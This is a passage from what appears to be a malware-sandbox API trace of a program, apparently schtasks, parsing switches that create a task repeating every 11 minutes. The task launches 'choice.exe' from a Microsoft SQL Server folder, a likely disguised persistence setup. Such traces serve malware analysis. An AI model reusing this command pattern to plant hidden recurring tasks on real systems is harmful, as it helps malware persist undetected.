returned 0x0 [0064.979] SetLastError (dwErrCode=0x490) [0064.979] lstrlenW (lpString="rp") returned 2 [0064.979] lstrlenW (lpString="rp") returned 2 [0064.979] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.979] lstrlenW (lpString="sc") returned 2 [0064.979] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.979] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rp|") returned 4 [0064.979] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0064.979] lstrlenW (lpString="|rp|") returned 4 [0064.979] lstrlenW (lpString="|sc|") returned 4 [0064.979] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0064.979] SetLastError (dwErrCode=0x490) [0064.979] lstrlenW (lpString="sc") returned 2 [0064.979] lstrlenW (lpString="sc") returned 2 [0064.979] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.979] lstrlenW (lpString="sc") returned 2 [0064.979] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.979] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0064.979] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0064.979] lstrlenW (lpString="|sc|") returned 4 [0064.979] lstrlenW (lpString="|sc|") returned 4 [0064.979] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0064.979] SetLastError (dwErrCode=0x0) [0064.980] SetLastError (dwErrCode=0x0) [0064.980] lstrlenW (lpString="MINUTE") returned 6 [0064.980] lstrlenW (lpString="-/") returned 2 [0064.980] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0064.980] SetLastError (dwErrCode=0x490) [0064.980] SetLastError (dwErrCode=0x490) [0064.980] SetLastError (dwErrCode=0x0) [0064.980] lstrlenW (lpString="MINUTE") returned 6 [0064.980] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0064.980] SetLastError (dwErrCode=0x490) [0064.980] SetLastError (dwErrCode=0x0) [0064.980] GetProcessHeap () returned 0x330000 [0064.980] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34d6e0 [0064.980] _memicmp (_Buf1=0x34d6e0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.980] lstrlenW (lpString="MINUTE") returned 6 [0064.980] GetProcessHeap () returned 0x330000 [0064.980] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0xe) returned 0x34d700 [0064.980] lstrlenW (lpString="MINUTE") returned 6 [0064.980] lstrlenW (lpString=" \x09") returned 2 [0064.980] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0064.980] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0064.980] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0064.980] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0064.980] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0064.980] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0064.980] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] lstrlenW (lpString="MINUTE") returned 6 [0064.980] lstrlenW (lpString="MINUTE") returned 6 [0064.980] SetLastError (dwErrCode=0x0) [0064.980] SetLastError (dwErrCode=0x0) [0064.980] lstrlenW (lpString="/mo") returned 3 [0064.981] lstrlenW (lpString="-/") returned 2 [0064.981] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.981] lstrlenW (lpString="create") returned 6 [0064.981] lstrlenW (lpString="create") returned 6 [0064.981] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.981] lstrlenW (lpString="mo") returned 2 [0064.981] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.981] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|create|") returned 8 [0064.981] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0064.981] lstrlenW (lpString="|create|") returned 8 [0064.981] lstrlenW (lpString="|mo|") returned 4 [0064.981] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0064.981] SetLastError (dwErrCode=0x490) [0064.981] lstrlenW (lpString="?") returned 1 [0064.981] lstrlenW (lpString="?") returned 1 [0064.981] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.981] lstrlenW (lpString="mo") returned 2 [0064.981] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.981] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|?|") returned 3 [0064.981] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0064.981] lstrlenW (lpString="|?|") returned 3 [0064.981] lstrlenW (lpString="|mo|") returned 4 [0064.981] SetLastError (dwErrCode=0x490) [0064.981] lstrlenW (lpString="s") returned 1 [0064.981] lstrlenW (lpString="s") returned 1 [0064.981] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.981] lstrlenW (lpString="mo") returned 2 [0064.981] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.981] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|s|") returned 3 [0064.982] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0064.982] lstrlenW (lpString="|s|") returned 3 [0064.982] lstrlenW (lpString="|mo|") returned 4 [0064.982] SetLastError (dwErrCode=0x490) [0064.982] lstrlenW (lpString="u") returned 1 [0064.982] lstrlenW (lpString="u") returned 1 [0064.982] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.982] lstrlenW (lpString="mo") returned 2 [0064.982] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.982] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|u|") returned 3 [0064.982] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0064.982] lstrlenW (lpString="|u|") returned 3 [0064.982] lstrlenW (lpString="|mo|") returned 4 [0064.982] SetLastError (dwErrCode=0x490) [0064.982] lstrlenW (lpString="p") returned 1 [0064.982] lstrlenW (lpString="p") returned 1 [0064.982] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.982] lstrlenW (lpString="mo") returned 2 [0064.982] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.982] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|p|") returned 3 [0064.982] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0064.982] lstrlenW (lpString="|p|") returned 3 [0064.982] lstrlenW (lpString="|mo|") returned 4 [0064.982] SetLastError (dwErrCode=0x490) [0064.983] lstrlenW (lpString="ru") returned 2 [0064.983] lstrlenW (lpString="ru") returned 2 [0064.983] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.983] lstrlenW (lpString="mo") returned 2 [0064.983] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.983] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|ru|") returned 4 [0064.983] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0064.983] lstrlenW (lpString="|ru|") returned 4 [0064.983] lstrlenW (lpString="|mo|") returned 4 [0064.983] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0064.983] SetLastError (dwErrCode=0x490) [0064.983] lstrlenW (lpString="rp") returned 2 [0064.983] lstrlenW (lpString="rp") returned 2 [0064.983] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.983] lstrlenW (lpString="mo") returned 2 [0064.983] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.983] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rp|") returned 4 [0064.983] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0064.983] lstrlenW (lpString="|rp|") returned 4 [0064.983] lstrlenW (lpString="|mo|") returned 4 [0064.983] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0064.983] SetLastError (dwErrCode=0x490) [0064.983] lstrlenW (lpString="sc") returned 2 [0064.983] lstrlenW (lpString="sc") returned 2 [0064.983] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.983] lstrlenW (lpString="mo") returned 2 [0064.983] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.983] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0064.983] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0064.984] lstrlenW (lpString="|sc|") returned 4 [0064.984] lstrlenW (lpString="|mo|") returned 4 [0064.984] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0064.984] SetLastError (dwErrCode=0x490) [0064.984] lstrlenW (lpString="mo") returned 2 [0064.984] lstrlenW (lpString="mo") returned 2 [0064.984] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.984] lstrlenW (lpString="mo") returned 2 [0064.984] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.984] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0064.984] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0064.984] lstrlenW (lpString="|mo|") returned 4 [0064.984] lstrlenW (lpString="|mo|") returned 4 [0064.984] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0064.984] SetLastError (dwErrCode=0x0) [0064.984] SetLastError (dwErrCode=0x0) [0064.984] lstrlenW (lpString="11") returned 2 [0064.984] lstrlenW (lpString="-/") returned 2 [0064.984] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0064.984] SetLastError (dwErrCode=0x490) [0064.984] SetLastError (dwErrCode=0x490) [0064.984] SetLastError (dwErrCode=0x0) [0064.984] lstrlenW (lpString="11") returned 2 [0064.984] StrChrIW (lpStart="11", wMatch=0x3a) returned 0x0 [0064.984] SetLastError (dwErrCode=0x490) [0064.984] SetLastError (dwErrCode=0x0) [0064.984] _memicmp (_Buf1=0x34d6e0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.984] lstrlenW (lpString="11") returned 2 [0064.984] lstrlenW (lpString="11") returned 2 [0064.984] lstrlenW (lpString=" \x09") returned 2 [0064.984] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0064.984] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0064.984] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0064.985] GetLastError () returned 0x0 [0064.985] lstrlenW (lpString="11") returned 2 [0064.985] lstrlenW (lpString="11") returned 2 [0064.985] GetProcessHeap () returned 0x330000 [0064.985] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x6) returned 0x345590 [0064.985] SetLastError (dwErrCode=0x0) [0064.985] SetLastError (dwErrCode=0x0) [0064.985] lstrlenW (lpString="/tr") returned 3 [0064.985] lstrlenW (lpString="-/") returned 2 [0064.985] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.985] lstrlenW (lpString="create") returned 6 [0064.985] lstrlenW (lpString="create") returned 6 [0064.985] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.985] lstrlenW (lpString="tr") returned 2 [0064.985] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.985] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|create|") returned 8 [0064.985] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0064.985] lstrlenW (lpString="|create|") returned 8 [0064.985] lstrlenW (lpString="|tr|") returned 4 [0064.985] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0064.985] SetLastError (dwErrCode=0x490) [0064.985] lstrlenW (lpString="?") returned 1 [0064.985] lstrlenW (lpString="?") returned 1 [0064.985] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.985] lstrlenW (lpString="tr") returned 2 [0064.985] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.985] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|?|") returned 3 [0064.985] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0064.985] lstrlenW (lpString="|?|") returned 3 [0064.985] lstrlenW (lpString="|tr|") returned 4 [0064.986] SetLastError (dwErrCode=0x490) [0064.986] lstrlenW (lpString="s") returned 1 [0064.986] lstrlenW (lpString="s") returned 1 [0064.986] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.986] lstrlenW (lpString="tr") returned 2 [0064.986] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.986] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|s|") returned 3 [0064.986] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0064.986] lstrlenW (lpString="|s|") returned 3 [0064.986] lstrlenW (lpString="|tr|") returned 4 [0064.986] SetLastError (dwErrCode=0x490) [0064.986] lstrlenW (lpString="u") returned 1 [0064.986] lstrlenW (lpString="u") returned 1 [0064.986] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.986] lstrlenW (lpString="tr") returned 2 [0064.986] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.986] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|u|") returned 3 [0064.986] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0064.986] lstrlenW (lpString="|u|") returned 3 [0064.986] lstrlenW (lpString="|tr|") returned 4 [0064.986] SetLastError (dwErrCode=0x490) [0064.986] lstrlenW (lpString="p") returned 1 [0064.986] lstrlenW (lpString="p") returned 1 [0064.986] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.986] lstrlenW (lpString="tr") returned 2 [0064.986] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.986] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|p|") returned 3 [0064.986] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0064.986] lstrlenW (lpString="|p|") returned 3 [0064.987] lstrlenW (lpString="|tr|") returned 4 [0064.987] SetLastError (dwErrCode=0x490) [0064.987] lstrlenW (lpString="ru") returned 2 [0064.987] lstrlenW (lpString="ru") returned 2 [0064.987] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.987] lstrlenW (lpString="tr") returned 2 [0064.987] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.987] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|ru|") returned 4 [0064.987] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0064.987] lstrlenW (lpString="|ru|") returned 4 [0064.987] lstrlenW (lpString="|tr|") returned 4 [0064.987] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0064.987] SetLastError (dwErrCode=0x490) [0064.987] lstrlenW (lpString="rp") returned 2 [0064.987] lstrlenW (lpString="rp") returned 2 [0064.987] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.987] lstrlenW (lpString="tr") returned 2 [0064.987] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.987] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rp|") returned 4 [0064.987] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0064.987] lstrlenW (lpString="|rp|") returned 4 [0064.987] lstrlenW (lpString="|tr|") returned 4 [0064.987] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0064.987] SetLastError (dwErrCode=0x490) [0064.987] lstrlenW (lpString="sc") returned 2 [0064.987] lstrlenW (lpString="sc") returned 2 [0064.987] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.987] lstrlenW (lpString="tr") returned 2 [0064.987] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.987] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0064.987] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0064.988] lstrlenW (lpString="|sc|") returned 4 [0064.988] lstrlenW (lpString="|tr|") returned 4 [0064.988] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0064.988] SetLastError (dwErrCode=0x490) [0064.988] lstrlenW (lpString="mo") returned 2 [0064.988] lstrlenW (lpString="mo") returned 2 [0064.988] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.988] lstrlenW (lpString="tr") returned 2 [0064.988] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.988] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0064.988] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0064.988] lstrlenW (lpString="|mo|") returned 4 [0064.988] lstrlenW (lpString="|tr|") returned 4 [0064.988] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0064.988] SetLastError (dwErrCode=0x490) [0064.988] lstrlenW (lpString="d") returned 1 [0064.988] lstrlenW (lpString="d") returned 1 [0064.988] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.988] lstrlenW (lpString="tr") returned 2 [0064.988] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.988] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|d|") returned 3 [0064.988] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0064.988] lstrlenW (lpString="|d|") returned 3 [0064.988] lstrlenW (lpString="|tr|") returned 4 [0064.988] SetLastError (dwErrCode=0x490) [0064.988] lstrlenW (lpString="m") returned 1 [0064.988] lstrlenW (lpString="m") returned 1 [0064.988] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.988] lstrlenW (lpString="tr") returned 2 [0064.988] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.989] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|m|") returned 3 [0064.989] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0064.989] lstrlenW (lpString="|m|") returned 3 [0064.989] lstrlenW (lpString="|tr|") returned 4 [0064.989] SetLastError (dwErrCode=0x490) [0064.989] lstrlenW (lpString="i") returned 1 [0064.989] lstrlenW (lpString="i") returned 1 [0064.989] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.989] lstrlenW (lpString="tr") returned 2 [0064.989] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.989] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|i|") returned 3 [0064.989] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0064.989] lstrlenW (lpString="|i|") returned 3 [0064.989] lstrlenW (lpString="|tr|") returned 4 [0064.989] SetLastError (dwErrCode=0x490) [0064.989] lstrlenW (lpString="tn") returned 2 [0064.989] lstrlenW (lpString="tn") returned 2 [0064.989] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.989] lstrlenW (lpString="tr") returned 2 [0064.989] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.989] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0064.989] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0064.989] lstrlenW (lpString="|tn|") returned 4 [0064.989] lstrlenW (lpString="|tr|") returned 4 [0064.989] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0064.989] SetLastError (dwErrCode=0x490) [0064.989] lstrlenW (lpString="tr") returned 2 [0064.989] lstrlenW (lpString="tr") returned 2 [0064.989] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.990] lstrlenW (lpString="tr") returned 2 [0064.990] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.990] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0064.990] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0064.990] lstrlenW (lpString="|tr|") returned 4 [0064.990] lstrlenW (lpString="|tr|") returned 4 [0064.990] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0064.990] SetLastError (dwErrCode=0x0) [0064.990] SetLastError (dwErrCode=0x0) [0064.990] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.990] lstrlenW (lpString="-/") returned 2 [0064.990] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0064.990] SetLastError (dwErrCode=0x490) [0064.990] SetLastError (dwErrCode=0x490) [0064.990] SetLastError (dwErrCode=0x0) [0064.990] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.990] StrChrIW (lpStart="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'" [0064.990] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.990] _memicmp (_Buf1=0x34c4b0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.990] _memicmp (_Buf1=0x34d680, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.990] SetLastError (dwErrCode=0x7a) [0064.990] SetLastError (dwErrCode=0x0) [0064.990] SetLastError (dwErrCode=0x0) [0064.990] lstrlenW (lpString="'C") returned 2 [0064.990] lstrlenW (lpString="-/") returned 2 [0064.990] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0064.990] SetLastError (dwErrCode=0x490) [0064.990] SetLastError (dwErrCode=0x490) [0064.990] SetLastError (dwErrCode=0x0) [0064.990] _memicmp (_Buf1=0x34d6e0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.991] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.991] GetProcessHeap () returned 0x330000 [0064.991] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d700) returned 1 [0064.991] GetProcessHeap () returned 0x330000 [0064.991] RtlReAllocateHeap (Heap=0x330000, Flags=0xc, Ptr=0x34d700, Size=0x88) returned 0x34c3f0 [0064.991] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.991] lstrlenW (lpString=" \x09") returned 2 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0064.991] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0064.991] StrChrW (lpStart=" \x09", wMatch=0x28) returned 0x0 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x29) returned 0x0 [0064.991] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 